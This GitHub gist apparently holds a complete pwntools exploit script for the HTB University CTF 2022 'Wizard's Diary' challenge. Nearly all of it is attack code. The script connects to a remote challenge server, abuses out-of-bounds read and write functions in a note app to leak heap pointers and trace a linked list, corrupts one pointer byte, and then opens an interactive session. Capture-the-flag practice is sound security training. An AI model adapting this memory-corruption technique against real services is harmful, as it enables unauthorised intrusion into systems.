Skip to content

Instantly share code, notes, and snippets.

@YiChenChai
Created December 8, 2022 00:56
Show Gist options
  • Save YiChenChai/0a1e4d0fbc0a202ecc145d18cfde9861 to your computer and use it in GitHub Desktop.
Save YiChenChai/0a1e4d0fbc0a202ecc145d18cfde9861 to your computer and use it in GitHub Desktop.
HTB University CTF 2022 Wizard's Diary exploit
from pwn import *
def login(info):
proc.sendlineafter('Name: ', 'guest')
proc.sendlineafter('account: ', info)
def new_note(sz, cnt):
proc.sendlineafter('> ', '1')
proc.sendlineafter('note: ', str(sz))
proc.sendafter('Note: ', cnt)
def show_note(idx, offset):
proc.sendlineafter('> ', '4')
proc.sendlineafter('note: ', str(idx))
proc.sendlineafter('show: ', str(offset))
proc.recvuntil('Byte: ')
return proc.recvn(1)
def butterfly_search(idx, val, int):
v = ''
offset = 0
p = 1
while v != val:
offset += int
neg = 1
v = show_note(idx, offset)
if v != val:
v = show_note(idx, -offset)
neg = -1
return offset * neg
def readn(idx, off, sz):
return ''.join([show_note(idx, off + i) for i in range(sz)])
def linear_search(idx, bsq, int, offset = 0):
found = False
while not found:
compare = readn(idx, offset, len(bsq))
if compare == bsq:
found = True
else:
offset += int
# print 'a'
return offset
def fix_note(idx, offset, b):
proc.sendlineafter('> ', '3')
proc.sendlineafter('note: ', str(idx))
proc.sendlineafter('fix: ', str(offset))
proc.sendlineafter('byte: ', b)
proc = remote('134.209.186.13', 30819)
login('hello')
# pause()
new_note(10, 'leaker')
for i in range(4):
new_note(0x1f48, 'hamood')
off = butterfly_search(0, '\x48', 0x10)
off += 8 # Next QWORD
ptr_raw = readn(0, off, 6)
target_one_ptr = u64(ptr_raw.ljust(8, '\0'))
log.info('Pointer from the target mem space @ 0x%x' % target_one_ptr)
new_note(0x20008, 'death')
begin = 0x27000
tmp = linear_search(5, ptr_raw[2:5], 0x10, begin - 0xff0 + 8 + 2)
head = tmp - 8 - 2
curr = head
me = u64(readn(5, curr, 6).ljust(8, '\0')) - 0x80
# Trace linked list
nextptr = ''
ptrlist = []
ptrpos = []
while nextptr != '\x00':
buf = u64(readn(5, curr + 8, 6).ljust(8, '\0'))
ptrpos.append(curr + 8)
ptrlist.append(buf)
curr += 0x80
nextptr = readn(5, curr + 5, 1)
buf = u64(readn(5, curr + 8, 6).ljust(8, '\0'))
ptrpos.append(curr + 8)
ptrlist.append(buf)
bad = False
prev = me
curr = head
while not bad:
nextptr = u64(readn(5, curr - 0x80, 6).ljust(8, '\0'))
if nextptr != prev:
bad = True
else:
buf = u64(readn(5, curr - 0x80 + 8, 6).ljust(8, '\0'))
ptrpos.insert(0, curr + 8)
ptrlist.insert(0, buf)
curr -= 0x80
prev -= 0x80
print ptrlist
sortedptrlist = sorted(ptrlist)
hit_target = 0
for i in range(len(sortedptrlist) - 1):
if sortedptrlist[i+1] - sortedptrlist[i] > 0x2000:
hit_target = (sortedptrlist[i+1] + sortedptrlist[i]) / 2
break
dist = lambda s, s1: sum([x!=y for (x,y) in zip(s,s1)])
log.info('Magician\'s stuff @ 0x%x' % hit_target)
write_pos = 0
for i in range(len(ptrlist) - 1, -1, -1):
if dist(p64(ptrlist[i]), p64(hit_target)) == 1:
write_pos = ptrpos[i] + 1
break
log.info('I gonna write @ 0x%x' % write_pos)
# context.log_level = 'debug'
fix_note(5, write_pos, p64(hit_target)[1])
for i in range(8):
new_note(0x1f48, 'A' * 0x50)
proc.sendlineafter('> ', '1337')
proc.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment